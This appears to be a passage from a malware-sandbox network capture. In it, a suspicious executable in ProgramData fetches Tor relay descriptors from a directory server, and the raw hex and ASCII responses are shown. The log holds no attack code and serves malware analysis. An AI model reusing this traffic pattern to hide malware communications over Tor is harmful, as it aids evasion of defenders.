Dec 11, 2022 09:25:18.532134056 CET	2652	OUT	GET /tor/server/fp/aacd4e09e65ba18caf35fbc855ef659505b36e9e HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:18.583761930 CET	2653	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:18 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:18 GMT Data Raw: 72 6f 75 74 65 72 20 61 72 74 69 6b 65 6c 31 30 62 65 72 32 38 20 31 38 35 2e 32 32 30 2e 31 30 31 2e 31 34 20 39 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 64 44 41 65 2f 4f 76 62 48 68 34 6b 38 71 6e 50 4c 69 6e 6e 50 6c 70 67 5a 68 6c 38 4a 74 34 6e 64 4a 79 6c 32 4f 66 4c 35 51 4a 6b 6e 49 41 51 41 67 42 41 41 43 6e 49 42 32 0a 6c 50 78 61 48 36 54 30 6b 58 4b 69 75 51 39 72 32 36 46 39 76 79 4b 44 4f 58 57 39 75 6b 53 57 66 56 54 65 4e 34 42 70 4c 36 74 33 2b 45 69 45 67 65 69 32 63 4a 33 71 61 53 2f 45 58 53 6a 49 0a 6b 54 41 6d 6e 48 4a 37 38 49 6f 66 69 73 73 48 43 63 70 6e 59 74 62 74 53 44 63 55 6c 5a 7a 54 45 65 4e 73 39 37 55 62 38 36 4e 64 50 39 74 48 35 6f 48 5a 36 54 6f 2b 54 77 77 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 41 70 79 41 64 70 54 38 57 68 2b 6b 39 4a 46 79 6f 72 6b 50 61 39 75 68 66 62 38 69 67 7a 6c 31 76 62 70 45 6c 6e 31 55 33 6a 63 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 62 3a 66 34 63 32 3a 3a 31 34 5d 3a 39 34 34 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 32 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 34 3a 31 32 3a 35 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 41 41 43 44 20 34 45 30 39 20 45 36 35 42 20 41 31 38 43 20 41 46 33 35 20 46 42 43 38 20 35 35 45 46 20 36 35 39 35 20 30 35 42 33 20 36 45 39 45 0a 75 70 74 69 6d 65 20 32 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 34 34 30 37 31 39 33 36 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 45 36 44 34 31 46 37 39 35 31 34 30 43 41 33 35 44 42 46 44 30 39 46 35 37 42 44 33 45 38 44 38 37 39 31 38 42 35 43 39 20 49 6e 6d 77 34 68 50 69 68 31 7a 58 77 4c 61 44 4a 50 79 58 65 58 34 55 36 30 59 70 4a 56 77 39 77 53 65 37 77 6a 45 43 44 2f 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 4d 74 37 37 62 5a 6e 2f 79 54 67 43 4c 67 31 67 75 6c 52 6a 75 63 30 41 44 63 4e 6c 30 65 63 77 7a 75 71 7a 67 5a 78 73 74 44 70 78 57 6d 2f 45 7a 2f 2f 78 62 44 0a 50 48 62 7a 58 4f 43 55 4a 39 4e 4d 64 50 4d 7a 2f 39 34 56 64 2b 34 48 54 33 76 41 64 2b 31 6b 62 45 61 65 6e 70 38 4e 35 4d 54 5a 41 68 50 30 4c 50 59 62 61 50 39 75 6f 74 39 57 73 5a 5a 71 0a 51 45 49 76 77 59 30 34 68 35 42 36 45 67 44 76 61 4e 33 6a 63 62 64 7a 6e 55 68 50 35 38 6d 39 64 71 33 32 66 52 67 4f 38 33 71 50 39 4e 55 48 46 36 30 2f 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 Data Ascii: router artikel10ber28 185.220.101.14 9443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxdDAe/OvbHh4k8qnPLinnPlpgZhl8Jt4ndJyl2OfL5QJknIAQAgBAACnIB2lPxaH6T0kXKiuQ9r26F9vyKDOXW9ukSWfVTeN4BpL6t3+EiEgei2cJ3qaS/EXSjIkTAmnHJ78IofissHCcpnYtbtSDcUlZzTEeNs97Ub86NdP9tH5oHZ6To+Tww=-----END ED25519 CERT-----master-key-ed25519 ApyAdpT8Wh+k9JFyorkPa9uhfb8igzl1vbpEln1U3jcor-address [2a0b:f4c2::14]:9443platform Tor 0.4.7.12 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 04:12:57fingerprint AACD 4E09 E65B A18C AF35 FBC8 55EF 6595 05B3 6E9Euptime 2bandwidth 1073741824 1073741824 44071936extra-info-digest E6D41F795140CA35DBFD09F57BD3E8D87918B5C9 Inmw4hPih1zXwLaDJPyXeX4U60YpJVw9wSe7wjECD/8onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMMt77bZn/yTgCLg1gulRjuc0ADcNl0ecwzuqzgZxstDpxWm/Ez//xbDPHbzXOCUJ9NMdPMz/94Vd+4HT3vAd+1kbEaenp8N5MTZAhP0LPYbaP9uot9WsZZqQEIvwY04h5B6EgDvaN3jcbdznUhP58m9dq32fRgO83qP9NUHF60/AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49704	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:19.465193987 CET	2663	OUT	GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:19.513468981 CET	2664	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:19 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:19 GMT Data Raw: 72 6f 75 74 65 72 20 55 6e 6e 61 6d 65 64 20 31 34 34 2e 32 31 37 2e 39 35 2e 31 32 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 64 68 41 56 35 4d 4f 7a 73 6c 64 30 72 7a 33 74 35 74 63 68 77 6b 4d 35 6e 45 4a 38 30 31 32 42 72 4b 42 59 4b 63 6f 38 4a 31 2f 32 47 42 41 51 41 67 42 41 41 6c 6c 66 4e 36 0a 48 5a 38 4d 73 39 51 59 53 72 4a 36 79 61 66 4e 49 55 43 39 33 4e 49 6b 37 6f 50 49 71 54 4b 50 75 5a 35 61 4c 7a 32 6d 6b 33 79 51 41 42 51 78 78 79 2b 31 66 48 61 52 32 6a 4c 33 53 42 6a 66 0a 4c 33 76 36 30 6f 53 6b 77 6b 6f 5a 6f 6c 5a 51 2b 6c 71 7a 63 33 35 4c 74 6c 66 54 37 62 61 51 69 77 64 58 6f 73 57 39 6f 75 70 39 32 51 74 34 43 70 64 56 36 65 41 6f 74 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 4a 5a 58 7a 65 68 32 66 44 4c 50 55 47 45 71 79 65 73 6d 6e 7a 53 46 41 76 64 7a 53 4a 4f 36 44 79 4b 6b 79 6a 37 6d 65 57 69 38 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 36 30 37 3a 35 33 30 30 3a 32 30 31 3a 33 30 30 30 3a 3a 34 39 62 65 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 37 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 31 39 3a 32 35 3a 35 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 38 38 38 35 20 45 41 36 46 20 37 34 41 36 20 39 34 38 32 20 35 42 31 33 20 42 38 41 37 20 30 38 30 46 20 36 43 46 31 20 36 34 44 46 20 37 34 46 42 0a 75 70 74 69 6d 65 20 31 39 32 32 33 30 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 36 30 35 36 32 35 35 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 45 46 34 44 32 39 38 31 32 43 45 44 32 35 38 41 45 36 38 35 33 30 32 35 34 43 39 31 46 41 31 38 45 42 42 45 43 43 30 34 20 66 58 38 38 55 33 65 73 39 42 63 4b 4f 48 31 74 57 55 57 34 59 62 6a 4b 70 58 39 30 6f 36 65 6a 56 5a 4b 72 56 39 74 44 68 63 59 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 4b 6f 6c 6d 4d 4b 31 4d 4a 6a 51 37 6b 44 53 53 73 58 58 7a 48 79 6c 45 71 31 75 57 76 57 61 37 79 39 6a 71 2f 2f 67 74 47 6b 78 30 6a 6f 41 2b 4d 57 50 54 32 30 0a 42 74 79 69 64 4f 53 5a 32 71 67 4e 31 64 2f 33 55 49 6c 4b 49 78 69 4d 37 4c 61 57 61 66 63 76 76 75 4c 73 57 55 65 61 79 5a 47 73 6b 39 56 79 71 59 65 67 30 6e 6a 69 64 50 47 32 37 33 2f 32 0a 37 49 50 31 65 7a 4e 37 48 2f 6a 6d 4e 4f 75 47 39 4a 75 77 4c 71 44 38 41 4d 79 52 75 75 66 73 66 38 48 66 43 45 74 75 57 48 58 2f 4a 2b 49 32 46 5a 79 4e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router Unnamed 144.217.95.12 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxdhAV5MOzsld0rz3t5tchwkM5nEJ8012BrKBYKco8J1/2GBAQAgBAAllfN6HZ8Ms9QYSrJ6yafNIUC93NIk7oPIqTKPuZ5aLz2mk3yQABQxxy+1fHaR2jL3SBjfL3v60oSkwkoZolZQ+lqzc35LtlfT7baQiwdXosW9oup92Qt4CpdV6eAotgM=-----END ED25519 CERT-----master-key-ed25519 JZXzeh2fDLPUGEqyesmnzSFAvdzSJO6DyKkyj7meWi8or-address [2607:5300:201:3000::49be]:9001platform Tor 0.4.7.7 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 19:25:55fingerprint 8885 EA6F 74A6 9482 5B13 B8A7 080F 6CF1 64DF 74FBuptime 192230bandwidth 1073741824 1073741824 16056255extra-info-digest EF4D29812CED258AE68530254C91FA18EBBECC04 fX88U3es9BcKOH1tWUW4YbjKpX90o6ejVZKrV9tDhcYonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMKolmMK1MJjQ7kDSSsXXzHylEq1uWvWa7y9jq//gtGkx0joA+MWPT20BtyidOSZ2qgN1d/3UIlKIxiM7LaWafcvvuLsWUeayZGsk9VyqYeg0njidPG273/27IP1ezN7H/jmNOuG9JuwLqD8AMyRuufsf8HfCEtuWHX/J+I2FZyNAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49705	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:19.929457903 CET	2667	OUT	GET /tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:19.979815006 CET	2669	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:19 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:19 GMT Data Raw: 72 6f 75 74 65 72 20 56 54 49 53 75 70 70 6f 72 74 31 20 38 32 2e 32 32 31 2e 31 32 38 2e 32 32 30 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 5a 63 41 65 4b 56 6f 6e 46 6a 46 34 4d 5a 61 78 51 59 7a 41 4b 78 32 61 31 6e 52 72 6c 2f 2f 50 43 62 49 41 45 71 42 63 55 76 52 49 37 31 41 51 41 67 42 41 42 45 6d 62 45 76 0a 68 78 37 44 65 35 4e 47 36 6d 54 4c 69 66 46 57 36 2b 63 53 64 59 48 76 69 51 6b 79 64 2b 56 75 76 65 6f 4e 6d 57 6a 4d 42 34 2b 33 57 34 54 4b 64 38 77 52 6f 37 32 6b 49 34 4c 76 4b 45 73 52 0a 42 6c 35 32 32 2f 66 79 4a 52 42 46 4c 64 36 49 76 79 4e 48 53 7a 38 75 4e 63 79 4b 38 62 6b 37 74 48 39 32 65 52 78 38 78 37 35 67 36 54 70 68 56 41 31 45 45 61 71 6f 51 41 63 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 52 4a 6d 78 4c 34 63 65 77 33 75 54 52 75 70 6b 79 34 6e 78 56 75 76 6e 45 6e 57 42 37 34 6b 4a 4d 6e 66 6c 62 72 33 71 44 5a 6b 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 31 35 3a 33 33 3a 31 32 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 38 43 41 20 32 38 44 38 20 42 39 39 38 20 30 43 43 44 20 39 41 42 38 20 33 30 44 33 20 30 30 36 42 20 42 36 39 38 20 43 45 39 39 20 42 32 30 44 0a 75 70 74 69 6d 65 20 35 31 38 34 35 32 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 34 30 33 30 34 36 37 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 34 33 33 45 43 43 39 42 34 30 37 36 46 36 31 44 45 30 42 43 37 35 37 44 44 31 39 41 44 45 36 31 35 42 30 38 33 38 30 46 20 6d 49 2f 58 7a 37 50 78 4f 37 69 39 6a 67 63 64 74 75 53 6b 67 31 51 66 4b 38 48 47 67 53 6f 43 70 72 36 2b 33 52 37 54 38 64 67 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 64 6d 52 4b 67 59 74 61 4d 46 5a 49 70 6d 44 59 53 49 67 5a 2f 72 63 35 44 62 31 53 55 65 4d 73 47 6a 79 39 63 32 56 35 5a 62 4a 36 4a 64 7a 63 5a 32 36 4f 41 79 0a 58 4f 6a 31 50 52 2b 6b 68 75 54 74 4c 61 38 4a 52 78 30 4f 42 4c 35 74 7a 57 59 42 6f 59 6d 49 38 66 76 47 57 71 6f 46 50 71 67 6b 57 6a 59 48 51 69 7a 44 61 5a 34 79 55 4b 2f 6f 4f 35 37 4a 0a 73 63 62 70 4c 6f 72 36 4f 7a 37 4c 47 6d 63 44 75 33 66 68 33 34 41 54 2f 34 59 5a 68 73 5a 58 72 33 64 4c 6e 4a 62 32 34 72 6b 49 48 31 39 51 4c 67 4f 6c 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 4c 33 2b 74 Data Ascii: router VTISupport1 82.221.128.220 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxZcAeKVonFjF4MZaxQYzAKx2a1nRrl//PCbIAEqBcUvRI71AQAgBABEmbEvhx7De5NG6mTLifFW6+cSdYHviQkyd+VuveoNmWjMB4+3W4TKd8wRo72kI4LvKEsRBl522/fyJRBFLd6IvyNHSz8uNcyK8bk7tH92eRx8x75g6TphVA1EEaqoQAc=-----END ED25519 CERT-----master-key-ed25519 RJmxL4cew3uTRupky4nxVuvnEnWB74kJMnflbr3qDZkplatform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 15:33:12fingerprint 38CA 28D8 B998 0CCD 9AB8 30D3 006B B698 CE99 B20Duptime 518452bandwidth 1073741824 1073741824 40304672extra-info-digest 433ECC9B4076F61DE0BC757DD19ADE615B08380F mI/Xz7PxO7i9jgcdtuSkg1QfK8HGgSoCpr6+3R7T8dgonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANdmRKgYtaMFZIpmDYSIgZ/rc5Db1SUeMsGjy9c2V5ZbJ6JdzcZ26OAyXOj1PR+khuTtLa8JRx0OBL5tzWYBoYmI8fvGWqoFPqgkWjYHQizDaZ4yUK/oO57JscbpLor6Oz7LGmcDu3fh34AT/4YZhsZXr3dLnJb24rkIH19QLgOlAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKL3+t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49706	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:21.735426903 CET	2676	OUT	GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:21.791101933 CET	2677	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:21 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:21 GMT Data Raw: 72 6f 75 74 65 72 20 55 6e 6e 61 6d 65 64 20 31 34 34 2e 32 31 37 2e 39 35 2e 31 32 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 64 68 41 56 35 4d 4f 7a 73 6c 64 30 72 7a 33 74 35 74 63 68 77 6b 4d 35 6e 45 4a 38 30 31 32 42 72 4b 42 59 4b 63 6f 38 4a 31 2f 32 47 42 41 51 41 67 42 41 41 6c 6c 66 4e 36 0a 48 5a 38 4d 73 39 51 59 53 72 4a 36 79 61 66 4e 49 55 43 39 33 4e 49 6b 37 6f 50 49 71 54 4b 50 75 5a 35 61 4c 7a 32 6d 6b 33 79 51 41 42 51 78 78 79 2b 31 66 48 61 52 32 6a 4c 33 53 42 6a 66 0a 4c 33 76 36 30 6f 53 6b 77 6b 6f 5a 6f 6c 5a 51 2b 6c 71 7a 63 33 35 4c 74 6c 66 54 37 62 61 51 69 77 64 58 6f 73 57 39 6f 75 70 39 32 51 74 34 43 70 64 56 36 65 41 6f 74 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 4a 5a 58 7a 65 68 32 66 44 4c 50 55 47 45 71 79 65 73 6d 6e 7a 53 46 41 76 64 7a 53 4a 4f 36 44 79 4b 6b 79 6a 37 6d 65 57 69 38 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 36 30 37 3a 35 33 30 30 3a 32 30 31 3a 33 30 30 30 3a 3a 34 39 62 65 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 37 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 31 39 3a 32 35 3a 35 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 38 38 38 35 20 45 41 36 46 20 37 34 41 36 20 39 34 38 32 20 35 42 31 33 20 42 38 41 37 20 30 38 30 46 20 36 43 46 31 20 36 34 44 46 20 37 34 46 42 0a 75 70 74 69 6d 65 20 31 39 32 32 33 30 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 36 30 35 36 32 35 35 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 45 46 34 44 32 39 38 31 32 43 45 44 32 35 38 41 45 36 38 35 33 30 32 35 34 43 39 31 46 41 31 38 45 42 42 45 43 43 30 34 20 66 58 38 38 55 33 65 73 39 42 63 4b 4f 48 31 74 57 55 57 34 59 62 6a 4b 70 58 39 30 6f 36 65 6a 56 5a 4b 72 56 39 74 44 68 63 59 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 4b 6f 6c 6d 4d 4b 31 4d 4a 6a 51 37 6b 44 53 53 73 58 58 7a 48 79 6c 45 71 31 75 57 76 57 61 37 79 39 6a 71 2f 2f 67 74 47 6b 78 30 6a 6f 41 2b 4d 57 50 54 32 30 0a 42 74 79 69 64 4f 53 5a 32 71 67 4e 31 64 2f 33 55 49 6c 4b 49 78 69 4d 37 4c 61 57 61 66 63 76 76 75 4c 73 57 55 65 61 79 5a 47 73 6b 39 56 79 71 59 65 67 30 6e 6a 69 64 50 47 32 37 33 2f 32 0a 37 49 50 31 65 7a 4e 37 48 2f 6a 6d 4e 4f 75 47 39 4a 75 77 4c 71 44 38 41 4d 79 52 75 75 66 73 66 38 48 66 43 45 74 75 57 48 58 2f 4a 2b 49 32 46 5a 79 4e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router Unnamed 144.217.95.12 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxdhAV5MOzsld0rz3t5tchwkM5nEJ8012BrKBYKco8J1/2GBAQAgBAAllfN6HZ8Ms9QYSrJ6yafNIUC93NIk7oPIqTKPuZ5aLz2mk3yQABQxxy+1fHaR2jL3SBjfL3v60oSkwkoZolZQ+lqzc35LtlfT7baQiwdXosW9oup92Qt4CpdV6eAotgM=-----END ED25519 CERT-----master-key-ed25519 JZXzeh2fDLPUGEqyesmnzSFAvdzSJO6DyKkyj7meWi8or-address [2607:5300:201:3000::49be]:9001platform Tor 0.4.7.7 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 19:25:55fingerprint 8885 EA6F 74A6 9482 5B13 B8A7 080F 6CF1 64DF 74FBuptime 192230bandwidth 1073741824 1073741824 16056255extra-info-digest EF4D29812CED258AE68530254C91FA18EBBECC04 fX88U3es9BcKOH1tWUW4YbjKpX90o6ejVZKrV9tDhcYonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMKolmMK1MJjQ7kDSSsXXzHylEq1uWvWa7y9jq//gtGkx0joA+MWPT20BtyidOSZ2qgN1d/3UIlKIxiM7LaWafcvvuLsWUeayZGsk9VyqYeg0njidPG273/27IP1ezN7H/jmNOuG9JuwLqD8AMyRuufsf8HfCEtuWHX/J+I2FZyNAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49691	64.185.227.156	443	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	Direction	Data
